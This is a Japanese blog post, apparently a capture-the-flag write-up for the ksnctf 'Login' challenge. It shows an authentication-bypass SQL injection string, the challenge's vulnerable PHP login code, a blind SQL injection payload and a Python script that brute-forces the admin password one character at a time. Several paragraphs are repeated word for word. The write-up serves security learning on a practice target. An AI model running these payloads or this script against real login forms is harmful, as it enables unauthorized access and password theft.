ksnctfの6問目、"Login"を解いていきます。
実行したら少し時間かかってフラグでてきた。
問題
問題ページには次のurlのみありました。
上のようなログイン画面が出てきます。
どうやら"admin"としてログインしろとのこと。
これはSQLインジェクションで解けそう。
解法
とりあえず定番の" ' OR 1=1 --"をID欄に入力して送信ボタンを押してみた。
ちなみに" ' OR 1=1 --"は1=1が常に真となり、'--'でそれ以降の文をコメント扱いにしてしまうので、SQL文全体が真となって必ずログインできるという優れもの。
ちなみに" ' OR 1=1 --"は1=1が常に真となり、'--'でそれ以降の文をコメント扱いにしてしまうので、SQL文全体が真となって必ずログインできるという優れもの。
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
$id = isset($_POST['id']) ? $_POST['id'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$login = false;
$err = '';
if ($id!=='')
{
$db = new PDO('sqlite:database.db');
$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
</head>
<body>
<?php if (!$login) { ?>
<p>
First, login as "admin".
</p>
<div style="font-weight:bold; color:red">
<?php echo h($err); ?>
</div>
<form method="POST">
<div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
<div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
<div><input type="submit"></div>
</form>
<?php } else { ?>
<p>
Congratulations!<br>
It's too easy?<br>
Don't worry.<br>
The flag is admin's password.<br>
<br>
Hint:<br>
</p>
<pre><?php echo h(file_get_contents('index.php')); ?></pre>
<?php } ?>
</body>
</html>
「そんなんで解けるわけないだろwww」と煽られた。
'admin'のパスワードがフラグらしい。
表示されたヒントからすると、この問題はブラインドSQLインジェクションっぽい。
フラグの一文字目は'F'なので、
'admin'のパスワードがフラグらしい。
表示されたヒントからすると、この問題はブラインドSQLインジェクションっぽい。
フラグの一文字目は'F'なので、
admin' AND SUBSTR((SELECT pass FROM user WHERE id='admin'),1,1) = 'F'--
これをID欄に投げると、'admin'のパスワードの一文字目は"F"なのでSQL文は真となりCongratulations!のページが表示される。
これを利用して一文字ずつ総当たりで試していけばフラグゲット。
一文字ずつ自分で当てはめていくのには骨が折れるのでスクリプトを書いた。
この場合、pythonの'urllib'を使えばいいらしい。使い方はこちら。
これを利用して一文字ずつ総当たりで試していけばフラグゲット。
一文字ずつ自分で当てはめていくのには骨が折れるのでスクリプトを書いた。
この場合、pythonの'urllib'を使えばいいらしい。使い方はこちら。
import urllib.parse
import urllib.request
url = 'http://ctfq.sweetduet.info:10080/~q6/'
print ("flag : ",end = '')
#フラグが30文字まで想定
for i in range(1, 30):
#文字コードを1つずつ足していく a~z,A~Z,0~9,その他記号を想定
for j in range(47,126):
values = {'id' : 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id=\'admin\'),' + str(i) + ',1) = \'' + chr(j) + '\'--',
'pass' : '',}
data = urllib.parse.urlencode(values)
data = data.encode('utf-8') # data should be bytes
req = urllib.request.Request(url, data)
response = urllib.request.urlopen(req)
the_page = response.read()
#Congratulations!のページが開いたか判定
if len(the_page) > 1000 :
print (chr(j),end ='')
break #次の文字へ
print ('')
実行したら少し時間かかってフラグでてきた。
まとめ
6問目まで解いてまんべんなく知識がついている気がする。

コメント
コメントを投稿